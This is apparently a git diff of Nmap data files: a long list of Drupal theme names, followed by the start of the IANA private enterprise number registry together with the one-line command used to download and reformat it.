+business_yellow
+fbg
+commons_origins
+corky
+wedding_bells
+pointnet_red_sun_responsive_theme
+iui
+mystique_theme
+zebilla
+black_mamba
+mini_zymphonies_theme
+scruffy
+media_responsive_theme
+drupify
+greennblack
+sandium
+center
+wetkit_ember
+desk02_gradiel
+squaregrid
+eco
+chef
+bella
+malinis
+blank
+fusion_prosper
+earthen
+flabiol
+admire_gray
+profolio
+barlow
+libra
+andreas02
+abstract
+red
+grassland
+chameleon
+velvetsky
+bootstrap_instant
+beta
+lightfantastic
+green
+flux
+crisp
+om_admin
+talata
+dingus
+livethemer_base
+wetkit_omega
+darkblue
+blackout
+eclean
+lemontwist
+plato
+html5_simplified
+alek_2_0
+offline
+bigdaddy
+iwebkit
+corporate_site
+socrates
+scaccarium
+jalapeno
+fortytwo
+pushbutton
+impulsealpha
+squid_pro
+appco_zymphonies_theme
+celju
+civi_bartik
+decayed
+stark
+themage
+pure_css
+white
+entity_iframe_theme
+salamander
+mpfree
+portal_theme
+multipurpose_zymphonies_theme
+acoldday
+darkelegance
+theme01
+quicksilver
+fiddle
+mulpo
+abessive
+jp_mobile
+pluralism
+foundation
+notechaos
+circle
+alina
+paradise
+celadon
+designer_relief
+ability
+insurance
+flexible
+nigraphic
+agregado
+contrast
+liquid_coolness
+alloy
+changeme
+panels_960gs
+cleanfolio
+summer
+luxury
+twentyeleven
+wrappedsites
+biz
+frontmap
+cms_bootstrap3
+graze
+easy_clean
+bartik_fb
+willibald
+parish_theme
+mm
+colorfulness_theme
+baseless
+bookstore
+fusion_slate
+artistsc01
+starkish
+arclitetheme
+gogland
+flat_ui
+affaires
+zoundation
+blix
+amlekula
+burnt
+ad_the_morning_after
+moleskine
+meedjum
+naken
+sea_breeze
+crusti
+jq_theme
+burnt_rubber
+responsive_skeleton
+pm_kickstart_theme
+agua
+pm_vista
+lightweight
+pets
+box_grey
+ishalist
+twentyfifteen
+arti
+atck
+travel
+fabist
+neato
+inf08
+avitaminplus
+parrot
+light
+media_blue
+unary
+dreamy
+ifeeldirty
+icandy
+html5_boilerplate
+blogon_responsive_theme
+fresh_media
+inove
+acrylic
+law
+itheme2
+fueldeluxe
+andreas1024px
+beep_edition
+da_vinci
+clearblue
+freshgreen
+ubiquity
+ebizon_redfire
+mayumi
+gob_cl
+noprob
+mobi
+chocotheme
+andreas
+nista
+plutado
+cleanr
+coolness
+urban_view
+simpliste
+seventeen
+xtheme
+fields_2009
+cherryblossom
+sadaphulii
+mojo
+mo6
+semanticui
+absynthe
+ninesixtyfive
+smokers
+id_facta
+domicile
+coolwater
+trotoar
+eldir
+glossyblue
+abeesparadise
+adaptivetheme_mobile
+ns_theme
+hero
+simple7
+fusion_marina
+hexagon
+stasis
+obsidian
+darkritual
+blue_zinfandel
+delicious_fruit
+artsy
+pop
+semantic_ui_omega
+xbartik
+imbug
+clean_corporate_theme
+ad_redoable
+html5
+octavin
+b2_drupal_plus
+skeletoncraft
+sonambulo
+classic_theme
+blue_bars
+strange_little_town
+basic_presentation
+ocadia
+slash
+adelante
+chrono
+gulmohar
+about
+blossom
+austere
+hiroshige
+tivity
+chrysalis
+earth_birthday
+elementary
+azhagu
+incubator_prograde
+zubrick
+sandtiger
+ninesixtyrobots_omega
+doune
+wetkit_bootstrap
+nixer
+templist
+seed
+simplicity
+farm_theme
+bluefun
+fusebasic
+redsalute
+survivalkit
+fullon
+zen_classic
+sunny_sky
+at_koda
+jqm
+vert
+detamo
+hiya
+beginningw2
+corporate_corp_theme
+terrafirma_theme
+chaigaram
+red_ruby
+fusemobile
+grunge
+sizzle
+bootstrap_panels
+maps_theme_commerce
+zilch
+nuboot
+toasted
+acme
+glassical
+brand_seven
+aim
+channel_nine
+internet_center
+dropshadow
+vibe
+contented5
+fruit_blossom
+german_newspaper
+mistylook
+lightword
+transparency
+bootstrap_blue
+erpal_theme
+plutado_green
+camsel
+letter
+metro
+locke
+freestyle
+vigilianty
+berylizer
+dovetail
+simplefolio
+mydefaulttheme
+adaptic
+mfirst
+aura
+pure
+prius
+restaurant_radix
+coolweb
+sonbol
+marketstate
+minimalist
+esteem_responsive_theme
+k2
+dark
+appleweb
+cdmug
+agencydark
+idrupal_ui
+browny
+ceafusion
+kands
+gesso
+genesis_webx
+boron_zen
+fusion_swimmingly
+cogito
+blue
+spring_bloom
+charity
+twittish
+whiteboardframework
+dts
+simplex2
+cristalx4drupal
+nifty50
+modernbird
+insha
+plainscape
+hariyali
+wlite
+plink
+yui_grid
+adt_basetheme
+spreadfirefox
+aeon5
+artschool
+gbif
+twenty_ten
+neelambal
+morelesszen
+goofy
+internet_jobs
+oxidation
+warmy
+plaingrail
+simplygreen
+inkribbon
+motion
+ladybug
+roots
+alliance
+lucid
+aether
+sharepoint_like
+himalaya
+plutado_blue
+plutado_red
+genesis_darkmatter
+collab
+acoffee
+idream
+scratch
+ad_agency
+minimalist_admin
+govbr_theme
+fblike
+amor_azul
+soldier
+sanqrell
+bluetrip
+zenland
+texas
+active_n_rebuild
+min
+bluezone
+ebizon_exotic_red
+aqua_fish
+extrastark
+mobile_ginkgo
+b2_silly_clouds
+remote
+acta_html5
+maps_admin
+simpla
+blommor01
+genesis_coldday
+bluespan
+radiant
+newhorizon
+polymorph
+space
+bluelake
+sports
+designpile
+openacadept_theme
+personal_site
+xurxo
+boots
+fortyfour
+adarkproxisstheme
+osmobi_mobile
+ofed_theme_nerra
+sevenplus
+elegant
+bluecurve
+nonzerored
+ecobusiness
+jq4dat
+abaca
+insanitarium
+professional
+imprezz
+tamal
+fluxtheme
+admiral
+alchemist
+udtheme
+wet4
+ablock
+fadethingee
+snd
+city
+sea
+refresco
+studio
+devtrac7_theme
+bluefreedom3
+aquanaut
+dessert
+celestial
+waves
+ded
+genesis_news
+plutado_grey
+simple_web
+magwood
+goldfish
+fruit
+tc_modernist
+pannelli
+subtle_simplicity
+internet_corporation
+purple_beauty
+splender
+drupazine
+pockett
+mytree
+compact_lime
+autumn_almanac
+jesox_mmozine
+drixel5
+terrain
+ingrained
+wetkit_rubik
+greenhouse
+antique_modern
+genesis_zine
+strix
+exquisite
+recycled
+headline
+floater
+agencygrass
+domicile_responsive
+naomi
+scruffy_desk
+prototype
+startuply
+friendselectric
+spooner
+extended
+skyliner
+nerdalistic
+darkgrail
+ngp
+sunset
+pinstripes
+paper
+bz_lite
+wynton_magazine
+xc_theme
+omega_nodemaker
+sirbones
+biography
+restaurant_octal
+acta
+teka
+bootpress
+happypixels
+clearlooks
+genesis_webify
+smoothblue
+pgtheme
+spring_theme
+powerfulpink
+tranquility
+panany
+motor
+retromania
+unicornponies
+colorart
+garland
+foundation_access
+hunchbaque
+skyroots
+activesite
+bluenile
+sapo
+atrium_simple
+phantom
+openg
+bali
+runvsc
+elms_themes
+reset
+ombak
+green_clean
+ninesixtyfluid
+everest
+millwood
+wyo
+awesome
+bloggrail
+web110
+particle
+opengrid_academica
+zerolime
+transcribe_theme
+woodsman
+admire_orange
+titon
+designless
+cea00
+twitter_bootstrap_panels_everywhere
+wetkit_shiny
+bluecitron
+fruity
+simple_blog
+winter_wonderland
+grass
+absolution
+tinsel
+gommutheme
+tedx
+velo
+austrofeedr_water
+drupalcon_base
+kommunity
+cleanstate
+andreas00
+purple_box
+genesis_typo1
+drixel
+fluidgrid
+zen_twilight
+five
+odeta
+dance
+brooklyn
+themereddit
+onus
+eldir_kt
+p6_base
+fdt_yellow
+hermes_theme
+omega_recycled
+whitecanvas
+strapped
+leaf
+anitakravitz
+n_rebuild
+tvframe
+greens
+light_brown
+bartik
+hydrogen
+curie
+athletic
+itworld
+pirates
+redoubt
+opendeals_theme
+bthap
+ofed_theme_maintenance
+twbs_seven
+clean_a
+noule
+bassline
+amazeui
+signage_theme
+solarflare
+vertigo
+friendsforever
+zen_midnight
+lightgreen
+joker
+beat
+synfox
+diary
+royal
+grumpymonkey
+fdt_grey
+empty_theme
+stack
+saeven
+enlight
+greeny_blu
+plutado_wide
+bluemarine_ets
+neewee
+alpha
+tattler_theme
+skyline-0
+yast
+simplegray
+splendid
+sproing
+midnight
+xsl_bartik
+thor
+twbs_stark
+garuda
+andreas03
+bluesquare
+evolution
+d4rk
+moshpit
+zilo_blog
+camaxtli
+baselinecss
+newskin
+erp_theme
+vineyard
+dotted
+lightlytextured
+zbench
+simplepassage
+tumblike
+vsc_artistspace
+vsc_wired
+openpublish_black
+three20up
+bi3_4
+steam
+bootstrap_framework
+wetkit_adaptivetheme
+katturai
+led
+octal
+syzygy
+algaglas
+turquoise
+as_theme
+civicspace
+holygrail
+art4_green
+eve_igb
+inva
+sitebrowser_basic
+cws
+riebel
+htmlzero
+typoversicol
+five_blog
+abundant
+pinkish
+freeradicals
+chitown
+dusky
+brainstorm
+sidney
+pandion
+fashion
+vsc_whitelight
+kosova
+xmas
+cmyk
+centurion
+p6responsive
+basement
+demonstratie
+zoey
+igniter
+duofertility
+adc
+interlaced
+polder
+stylebox
+sunflower
+trip
+marvin_2k
+gworks
+simple
+greenthing
+marvin_2k_phptemplate
+box_grey_smarty
+persian
+manji
+pushbutton_phptemplate
+occy
+democratica
+lincolns_revenge
+gespaa
+rdc
+greenmarinee
+slurpee
+marvinclassic
+flatforum
+wgbluemarine
+bluemarine_smarty
+leaf_smarty
+argeebee
+leaves
+connections
+sands
+bidi
+bonsai
+meta
+k2_smarty
+simplex
+fancy
+goldengray
+b7
+wireframe
+reflection
+plain1
+mollio
+sands_css
+niftycorners
+andreas09
+fern
+andreas07
+multiflex
+aquasoft
+olav
+nifty_drupal
+multiflex21
+roundness
+sor
+seoposition
+arcmateria
+kyrgyzstan
+warped
+bluefx
+teleology
+nokoala
+orchard
+musicdj
+sympal_theme
+mydrupal
+stylized_beauty
+nonzero
+golden_hour
+triumviratum
+box_grey_rtl
+candy_corn_rtl
+fancy_rtl
+manollio_rtl
+garlandrtl
+multiflex37
+combustion
+zental
+activesigns
+internet_services_rtl
+gutenberg
+pleroma
+abac
+danger4k
+lumen
+mydrupal_impact
+garamond
+thirteen
+rezina
+bluefreedom
+gagarin
+treedesert
+mydrupal_universal
+soccer
+sweethome
+zenzen
+surface
+itheme
+votebob
+bubbles
+wall
+mondrian
+zen_basic
+base
+basketball
+brushed_steel
+pearls
+newfangled
+hyperglass
+cod_organizing
+sib
+newsportal02
+scribbish
+equalizer
+webchick
+art4_blue
+manuscript
+dichotomy
+larepublique
+skymod
+supriya
+ufutbol
+evening
+tech
+denver
+copyblogger
+filmforge_theme
+unthemes
+emspace_2007
+relax
+imagination
+grid_inspired
+blackpark
+internet_music
+kexolid
+sodelicious
+fireflystreamcom
+renecance
+iron
+reflek
+glorillacomtheme
+ranch
+retroadmin
+industrial
+baseline
+redhot
+fluid
+crystalxl
+greenpark
+hwctravel
+phpbb3
+sussex
+genesis_lite
+nirvana
+nirvana_fluid
+browntown
+hydra
+basic_sass
+drupalui
+ablaze
+ramadan
+flattering
+pinkribbon
+fall
+spring
+stilton
+swirlylensflare
+isilent
+drucer
+newspaper
+fiveseasons
+smashing_dilectio
+officebobbles
+hi5
+handbook
+acre
+css_template_demo
+startvsc
+modernist
+stream-0
+eau
+cassette
+neuehaasgrotesk
+kiwitree
+asesor_blue
+watershed
+jquery_mobile
+trupal
+activator
+romania
+alternative
+vsc_darkmatter
+vsc_learningcurve
+xsl_absolute
+motherload
+niki
+yasna
+giorgio
+communitytheme
+enterprise
+smart
+tema
+ophiuchus
+h2o
+entrainment_2011
+dream960
+folio
+jameed
+mansaf
+eponymous
+clarity
+fusion_commons_starterkit
+fugly
+wire960
+elijah
+drupalpress
+clean_blockify
+cityscape
+balsami
+legacy
+inuit
+impulse
+html5admin
+start
+dddbcn
+boilerstrap
+pony
+szdug
+inland
+JDT
+bluechops
+pulp
+bartik_respondz
+cea_clean
+erpal_base_theme
+ginkgo_training
+unsemantic
+zenger_theme
+spade
+eight
+e_commerce
+purecss
+yggdrasil
+nextly
+chips
+startwork
+water
+royal_olive
+delete_this_promotion_test
+rocket
+kartheme
+khan
+helios_responsive
+hemingway
+devtrac_theme
+green_worm
+pirateparty
+blog_theme
+paddle_theme
+paddle_admin_theme
+nfinity
+new_abundant
+gemini
+promo
+subtweme
+manage_theme
+garland_smarty
+mydrupal_tidy
+sandbox_theme
+orange_mint
+cms_theme
+drupal_de_1
+yui_framework
+vardoc_theme
+windup
+harmony_install_theme
+barnettechetjlb
+bootstrap_admin
+at_commerce
+bluefire
+mcs
+black_getsred
+matrimonial
+realestate
+ofed_theme_cms
+mobile_responsive_theme
+personal_blog
+dc_scratch
+nautica09
+daleri_structure
+dynamic_news_lite
+cultura_bootstrap
+udtheme_2010
+tripal_theme
+majesty
+launchpad
+a_cloudy_day_mobile
+a_cloudy_day
+materialize
+os_delta_responsive_business_theme
+oocss
+color_glass
+commerce_theme
+lexus_zymphonies_theme
+landing_page_theme
+mbase
+fly_flower
+university
+adt_webapplication
diff --git a/nselib/data/enterprise_numbers.txt b/nselib/data/enterprise_numbers.txt
new file mode 100644
index 0000000..f412c8e
--- /dev/null
+++ b/nselib/data/enterprise_numbers.txt
@@ -0,0 +1,59209 @@
+# curl -s -L http://www.iana.org/assignments/enterprise-numbers/enterprise-numbers | perl -lne 'if(/^\d/){$x=$_}elsif($x){next unless /\S/;s/^\s*|\s*$//g;print"$x\t$_";$x=undef}'
+1 NxNetworks
+2 IBM (https://w3.ibm.com/standards )
+3 Carnegie Mellon
+4 Unix
+5 ACC
+6 TWG
+7 CAYMAN
+8 PSI
+9 ciscoSystems
+10 NSC
+11 Hewlett-Packard
+12 Epilogue
+13 U of Tennessee
+14 BBN Technologies
+15 Xylogics, Inc.
+16 Timeplex
+17 Canstar
+18 Wellfleet
+19 TRW
+20 MIT
+21 EON
+22 Fibronics
+23 Novell
+24 Spider Systems
+25 NSFNET
+26 Hughes LAN Systems
+27 Intergraph
+28 Interlan
+29 Vitalink Communications
+30 Ulana
+31 NSWC
+32 Santa Cruz Operation
+33 MRV Communications, In-Reach Product Division
+34 Cray
+35 Nortel Networks
+36 DEC
+37 Touch
+38 Network Research Corp.
+39 Baylor College of Medicine
+40 NMFECC-LLNL
+41 SRI
+42 Sun Microsystems
+43 3Com
+44 CMC
+45 SynOptics
+46 Cheyenne Software
+47 Prime Computer
+48 MCNC/North Carolina
+49 Chippcom
+50 Optical Data Systems
+51 gated
+52 Enterasys Networks Inc.
+53 Apollo Computers
+54 DeskTalk Systems, Inc.
+55 SSDS
+56 Castle Rock Computing
+57 MIPS Computer Systems
+58 TGV, Inc.
+59 Silicon Graphics, Inc.
+60 University of British Columbia
+61 Merit
+62 NetEdge
+63 Apple Computer, Inc.
+64 Gandalf
+65 Dartmouth College
+66 David Systems
+67 Reuter
+68 Cornell
+69 Michael Sabo
+70 Locus Computing Corp.
+71 NASA
+72 Retix
+73 Boeing
+74 AT&T
+75 Ungermann-Bass
+76 Digital Analysis Corporation
+77 LAN Manager
+78 LogMatrix Inc (formerly 'OpenService Inc.')
+79 Fujitsu Services
+80 Auspex Systems, Inc
+81 Lannet Company
+82 Network Computing Devices
+83 Raycom Systems
+84 Pirelli Focom Ltd.
+85 Datability Software Systems
+86 Network Application Technology
+87 Institute of Telematics, Karlsruhe Institute of Technology (KIT)
+88 New York University
+89 RND
+90 InterCon Systems Corporation
+91 Coral Network Corporation
+92 Webster Computer Corporation
+93 Frontier Technologies Corporation
+94 Nokia
+95 Rockwell Automation, Inc. (formerly 'Allen-Bradley Company')
+96 CERN
+97 Sigma Network Systems, Inc.
+98 Emerging Technologies, Inc.
+99 SNMP Research
+100 Ohio State University
+101 Ultra Network Technologies Julie
+102 Microcom
+103 Lockheed Martin
+104 Micro Technology
+105 Process Software Corporation
+106 EMC Data General Division
+107 Bull Company
+108 Emulex Corporation
+109 Warwick University Computing Services
+110 NetScout Systems, Inc. (formerly 'Network General Corporation')
+111 Oracle
+112 Control Data Corporation
+113 Hughes Aircraft Company
+114 Synernetics, Inc.
+115 Mitre
+116 Hitachi, Ltd.
+117 Telebit
+118 Salomon Technology Services
+119 NEC Corporation
+120 Fibermux
+121 FTP Software Inc.
+122 Sony
+123 Newbridge Networks Corporation
+124 Racal-Datacom
+125 CR SYSTEMS
+126 DSET Corporation
+127 Computone
+128 Tektronix, Inc.
+129 Interactive Systems Corporation
+130 Banyan Systems Inc.
+131 Sintrom Datanet Limited
+132 Bell Canada
+133 Olicom Enterprise Products Inc.
+134 Rice University
+135 OnStream Networks
+136 Concurrent Computer Corporation
+137 Basser
+138 Luxcom
+139 Artel
+140 Independence Technologies, Inc.(ITI)
+141 NetScout Systems, Inc. (formerly 'Frontier Software Development')
+142 Digital Computer Limited
+143 Eyring, Inc.
+144 Case Communications
+145 Penril DataComm, Inc.
+146 American Airlines, Inc.
+147 Sequent Computer Systems
+148 Bellcore
+149 Concord Communications
+150 University of Washington
+151 Develcon
+152 Solarix Systems
+153 Unifi Communications Corp.
+154 Roadnet
+155 Network Systems Corp.
+156 ENE (European Network Engineering)
+157 Dansk Data Elektronik A/S
+158 Morningstar, Inc.
+159 Dupont EOP
+160 Legato Systems, Inc.
+161 Motorola
+162 European Space Agency (ESA)
+163 Aethis sa/nv
+164 Rad Data Communications Ltd.
+165 OfficeNet, Inc.
+166 Shiva Corporation
+167 Fujikura America
+168 Xlnt Designs INC (XDI)
+169 Tandem Computers
+170 BICC
+171 D-Link Systems, Inc.
+172 AMP, Inc.
+173 Netlink
+174 C. Itoh Electronics
+175 Sumitomo Electric Industries (SEI)
+176 DHL Systems, Inc.
+177 Sonus Networks, Inc.
+178 APTEC Computer Systems
+179 Schneider & Koch & Co, Datensysteme GmbH
+180 Hill Air Force Base
+181 Kentrox
+182 Japan Radio Co.
+183 Versitron
+184 Telecommunication Systems
+185 Interphase
+186 Toshiba Corporation
+187 Clearpoint Research Corp.
+188 Ascom
+189 Fujitsu America
+190 NovaQuest InfoSystems
+191 NCR
+192 Dr. Materna GmbH
+193 Ericsson AB
+194 Metaphor Computer Systems
+195 Patriot Partners
+196 The Software Group Limited (TSG)
+197 Kalpana, Inc.
+198 University of Waterloo
+199 CCL/ITRI
+200 Coeur Postel
+201 RYOSEI, Ltd.
+202 SMC
+203 Crescendo Communication, Inc.
+204 Douglas Goodall, Consultant
+205 Intecom
+206 Victoria University of Wellington
+207 Allied Telesis, Inc.
+208 Cray Communications A/S
+209 Protools
+210 NIPPON TELEGRAPH AND TELEPHONE CORPORATION
+211 Fujitsu Limited
+212 Network Peripherals Inc.
+213 Netronix, Inc.
+214 University of Wisconsin Madison
+215 NetWorth, Inc.
+216 Tandberg Data A/S
+217 Technically Elite Concepts, Inc.
+218 Labtam Australia Pty. Ltd.
+219 Republic Telcom Systems, Inc.
+220 ADI Systems, Inc.
+221 Microwave Bypass Systems, Inc.
+222 Pyramid Technology Corp.
+223 Unisys_Corp
+224 LANOPTICS LTD., Israel
+225 NKK Corporation
+226 CODIMA Technologies Ltd
+227 Acals
+228 ASTEC, Inc.
+229 Delmarva Power
+230 Telematics International, Inc.
+231 Fujitsu Technology Solutions GmbH (formerly 'Fujitsu Siemens Computers')
+232 Compaq
+233 NetManage, Inc.
+234 NC State University
+235 Empirical Tools and Technologies
+236 Samsung Electronics Co., LTD.
+237 Takaoka Electric Mfg. Co., Ltd.
+238 NxNetworks
+239 WINDATA
+240 RC International A/S
+241 Netexp Research
+242 Internode Systems Pty Ltd
+243 netCS Informationstechnik GmbH
+244 Lantronix
+245 Avatar Consultants
+246 Furukawa Electoric Co. Ltd.
+247 ND SatCom - Gesellschaft für SatellitenkommunikationssystemembH
+248 Richard Hirschmann GmbH & Co.
+249 G2R Inc.
+250 University of Michigan
+251 Netcomm, Ltd.
+252 Sable Technology Corporation
+253 Xerox
+254 Conware Computer Consulting GmbH
+255 Compatible Systems Corp.
+256 Scitec Communications Systems Ltd.
+257 Transarc Corporation
+258 Matsushita Electric Industrial Co., Ltd.
+259 ACCTON Technology
+260 Star-Tek, Inc.
+261 ADC Codenoll Technology Corporation
+262 Formation, Inc.
+263 Seiko Instruments, Inc.
+264 RCE (Reseaux de Communication d'Entreprise S.A.)
+265 Xenocom, Inc.
+266 Nexans Deutschland Industries
+267 Systech Computer Corporation
+268 Visual
+269 CSC Airline Solutions Denmark A/S
+270 Zenith Electronics Corporation
+271 Telia Company AB
+272 BinTec Communications GmbH
+273 EUnet Germany
+274 PictureTel Corporation
+275 Michigan State University
+276 GTE Government Systems - Network Management Organization
+277 Cascade Communications Corp.
+278 APRESIA Systems, Ltd. (formerly 'Hitachi Cable, Ltd.')
+279 Olivetti
+280 Vitacom Corporation
+281 INMOS
+282 AIC Systems Laboratories Ltd.
+283 Cameo Communications, Inc.
+284 Diab Data AB
+285 Olicom A/S
+286 Digital-Kienzle Computersystems
+287 CSELT(Centro Studi E Laboratori Telecomunicazioni)
+288 Electronic Data Systems
+289 Brocade Communications Systems, Inc. (formerly 'McData Corporation')
+290 Harris Corporation
+291 Technology Dynamics, Inc.
+292 DATAHOUSE Information Systems Ltd.
+293 Teltrend (NZ) Limited
+294 Texas Instruments
+295 PlainTree Systems Inc.
+296 Hedemann Software Development
+297 FUJIFILM Business Innovation Corp.
+298 Asante Technology
+299 Stanford University
+300 Digital Link
+301 Raylan Corporation
+302 Commscraft
+303 Hughes Communications, Inc.
+304 Farallon Computing, Inc.
+305 GE Information Services
+306 Gambit Computer Communications
+307 Livingston Enterprises, Inc.
+308 Star Technologies
+309 Micronics Computers Inc.
+310 Basis, Inc.
+311 Microsoft
+312 US West Advance Technologies
+313 University College London
+314 Eastman Kodak Company
+315 Network Resources Corporation
+316 Atlas Telecom
+317 Bridgeway
+318 American Power Conversion Corp.
+319 DOE Atmospheric Radiation Measurement Project
+320 VerSteeg CodeWorks
+321 Verilink Corp
+322 Sybus Corportation
+323 Tekelec
+324 NASA Ames Research Center
+325 Simon Fraser University
+326 Fore Systems, Inc.
+327 Centrum Communications, Inc.
+328 NeXT Computer, Inc.
+329 Netcore, Inc.
+330 Northwest Digital Systems
+331 Andrew Corporation
+332 Digi International
+333 Computer Network Technology
+334 Lotus Development Corp.
+335 MICOM Communication Corporation
+336 ASCII Corporation
+337 PUREDATA Research
+338 NTT DATA
+339 Siemens Industry Inc.
+340 Kendall Square Research (KSR)
+341 ORNL
+342 Network Innovations, Inc.
+343 Intel Corporation
+344 Compuware Corporation
+345 Epson Research Center
+346 Fibernet
+347 Seagate Technology
+348 American Express Company
+349 Compu-Shack
+350 Parallan Computer, Inc.
+351 Stratacom
+352 Open Networks Engineering, Inc.
+353 ATM Forum
+354 SSD Management, Inc.
+355 Automated Network Management, Inc.
+356 Magnalink Communications Corporation
+357 Kasten Chase Applied Research
+358 Skyline Technology, Inc.
+359 Nu-Mega Technologies, Inc.
+360 Morgan Stanley & Co. International PLC
+361 Integrated Business Network
+362 L & N Technologies, Ltd.
+363 Cincinnati Bell Information Systems, Inc.
+364 RAMA Technologies
+365 GM Labs, LLC.
+366 Datapoint Corporation
+367 RICOH Co. Ltd.
+368 Axis Communications AB
+369 Pacer Software
+370 3COM/Axon
+371 Alebra Technologies, Inc.
+372 GSI
+373 Tatung Co., Ltd.
+374 DIS Research Ltd.
+375 Quotron Systems, Inc.
+376 Dassault Electronique
+377 Corollary, Inc.
+378 SEEL, Ltd.
+379 Lexcel
+380 pier64
+381 OST
+382 Megadata Pty Ltd.
+383 LLNL Livermore Computer Center
+384 Dynatech Communications
+385 Symplex Communications Corp.
+386 Tribe Computer Works
+387 Taligent, Inc.
+388 Symbol Technologies, Inc.
+389 Lancert
+390 Alantec
+391 Ridgeback Solutions
+392 Metrix, Inc.
+393 Symantec Corporation
+394 NRL Communication Systems Branch
+395 I.D.E. Corporation
+396 Panasonic Corporation Eco Solutions Company (formerly 'Panasonic Electric Works Co., Ltd.')
+397 MegaPAC
+398 Tyco Electronics
+399 Hitachi Computer Products (America), Inc.
+400 METEO FRANCE
+401 PRC Inc.
+402 Wal-Mart Stores, Inc.
+403 Nissin Electric Company, Ltd.
+404 Distributed Support Information Standard
+405 SMDS Interest Group (SIG)
+406 SolCom Systems Ltd.
+407 Bell Atlantic
+408 Advanced Multiuser Technologies Corporation
+409 Mitsubishi Electric Corporation
+410 C.O.L. Systems, Inc.
+411 University of Auckland
+412 Distributed Management Task Force (DMTF)
+413 Klever Computers, Inc.Tom Su
+414 Amdahl Corporation
+415 JTEC Pty, Ltd.
+416 Matra Communcation
+417 HAL Computer Systems
+418 Lawrence Berkeley National Laboratory
+419 Dale Computer Corporation
+420 University of Tuebingen
+421 Bytex Corporation
+422 Cogwheel, Inc.
+423 Lanwan Technologies
+424 Thomas-Conrad Corporation
+425 TxPort
+426 Compex, Inc.
+427 Evergreen Systems, Inc.
+428 HNV, Inc.
+429 UTStarcom Incorporated
+430 Canada Post Corporation
+431 Open Systems Solutions, Inc.
+432 Toronto Stock Exchange
+433 Mamakos\TransSys Consulting
+434 EICON
+435 Jupiter Systems
+436 SSTI
+437 Grand Junction Networks
+438 Pegasus Solutions, Inc.
+439 Edward D. Jones and Company
+440 Amnet, Inc.
+441 Chase Research
+442 BMC Software
+443 Gateway Communications, Inc.
+444 Peregrine Systems
+445 Daewoo Telecom
+446 Norwegian Telecom Research
+447 WilTel
+448 Ericsson-Camtec
+449 Codex
+450 Basis
+451 AGE Logic
+452 INDE Electronics
+453 Isode Limited
+454 J.I. Case
+455 Trillium
+456 Bacchus Inc.
+457 MCC
+458 Stratus Computer
+459 Quotron
+460 Beame & Whiteside
+461 Cellular Technical Services
+462 Shore Microsystems, Inc.
+463 Telecommunications Techniques Corp.
+464 DNPAP (Technical University Delft)
+465 Plexcom, Inc.
+466 Tylink
+467 Brookhaven Laboratory
+468 Computer Communication Systems
+469 Norand Corporation
+470 MUX-LAP
+471 Premisys Communications, Inc
+472 Bell South Telecommunications
+473 J. Stainsbury PLC
+474 Manage Operations
+475 Wandel and Goltermann Technologies
+476 Vertiv (formerly 'Emerson Computer Power')
+477 Network Software Associates
+478 Procter and Gamble
+479 Meridian Technology Corporation
+480 QMS, Inc.
+481 Network ExpressTom Jarema
+482 LANcity Corporation
+483 Dayna Communications, Inc.
+484 kn-X Ltd.
+485 Sync Research, Inc.
+486 PremNet
+487 SIAC
+488 New York Stock Exchange
+489 American Stock Exchange
+490 FCR Software, Inc.
+491 National Medical Care, Inc.
+492 DCS Dialog Communication Systems Aktiengesellschaft Berlin
+493 NorTele
+494 Madge Networks, Inc.
+495 Memotec Communications
+496 ON
+497 Leap Technology, Inc.
+498 General DataComm, Inc.
+499 ACE Communications, Ltd.
+500 ADP
+501 European Agency of Digital Trust (formerly 'Programa SPRITEL')
+502 Adacom
+503 Metrodata Ltd
+504 Ericsson AB - 4G5G (formerly 'Ellemtel Telecommunication Systems Laboratories')
+505 Arizona Public Service
+506 NETWIZ, Ltd.,
+507 Science and Engineering Research Council (SERC)
+508 508 Credit Suisse First Boston - Watcher
+509 Hadax Electronics Inc.
+510 VTKK
+511 North Hills Israel Ltd.
+512 TECSIEL
+513 Bayerische Motoren Werke (BMW) AG
+514 CNET Technologies
+515 MCI
+516 Human Engineering AG (HEAG)
+517 FileNet Corporation
+518 Kongsberg Gruppen ASA (formerly 'NFT-Ericsson')
+519 Dun & Bradstreet
+520 Intercomputer Communications
+521 Defense Intelligence Agency
+522 Telesystems SLW Inc.
+523 APT Communications
+524 Delta Airlines
+525 California Microwave
+526 Avid Technology Inc
+527 Integro Advanced Computer Systems
+528 RPTI
+529 Ascend Communications Inc.
+530 Eden Computer Systems Inc.
+531 Kawasaki-Steel Corp
+532 Systems Management Infrasture, Barclays Bank PLC
+533 B.U.G., Inc.
+534 Eaton Corporation
+535 Superconducting Supercollider Lab.
+536 Triticom
+537 Universal Instruments Corp.
+538 Information Resources, Inc.
+539 Westell Inc. (formerly 'Kentrox')
+540 Crypto AG
+541 Infinite Networks, Ltd.
+542 Tangram Enterprise Solutions, Inc.
+543 Alebra Technologies, Inc.
+544 Equinox Systems, Inc.
+545 Hayes Microcomputer Products
+546 Empire Technologies Inc.
+547 Glaxochem, Ltd.
+548 Software Professionals, Inc
+549 Agent Technology, Inc.
+550 Dornier GMBH
+551 Telxon Corporation
+552 Entergy Corporation
+553 GarrettCom, Inc (formerly 'Garrett Communications')
+554 Agile Networks, Inc.
+555 Larscom
+556 Stock Equipment
+557 ITT Corporation
+558 Universal Data Systems, Inc.
+559 Sonix Communications, Ltd.
+560 Paul Freeman Associates, Inc.
+561 John S. Barnes, Corp.
+562 Northern Telecom, Ltd.
+563 CAP Debris
+564 Telco Systems NAC
+565 Tosco Refining Co
+566 Russell Info Sys
+567 University of Salford
+568 NetQuest Corp.
+569 Armon Networking Ltd.
+570 IA Corporation
+571 AU-System Communicaton AB
+572 GoldStar Information & Communications, Ltd.
+573 SECTRA AB
+574 ONEAC Corporation
+575 Tree Technologies
+576 General Dynamics Mission Systems
+577 Geneva Software, Inc.
+578 Interlink Computer Sciences, Inc.
+579 Bridge Information Systems, Inc.
+580 Leeds and Northrup Australia (LNA) Nigel Cook
+581 CSG Systems International (formerly 'Intec Telecom Systems')
+582 Newport Systems Solutions, Inc.
+583 azel Corporation
+584 ROBOTIKER
+585 PeerLogic Inc.
+586 Digital Transmittion Systems
+587 Far Point Communications
+588 Xircom
+589 Mead Data Central
+590 Royal Bank of Canada
+591 Advantis, Inc.
+592 Chemical Banking Corp.
+593 Eagle Technology
+594 BT
+595 Radix BV
+596 TAINET Communication System Corp.
+597 Comtek Services Inc.
+598 Fair Isaac Corporation
+599 AST Research Inc.
+600 Soft*Star s.r.l. Ing. Enrico Badella
+601 Bancomm
+602 Trusted Information Systems, Inc.
+603 Harris & Jeffries, Inc.
+604 Axel Technology Corp.
+605 NetTest Inc.
+606 CAP debis
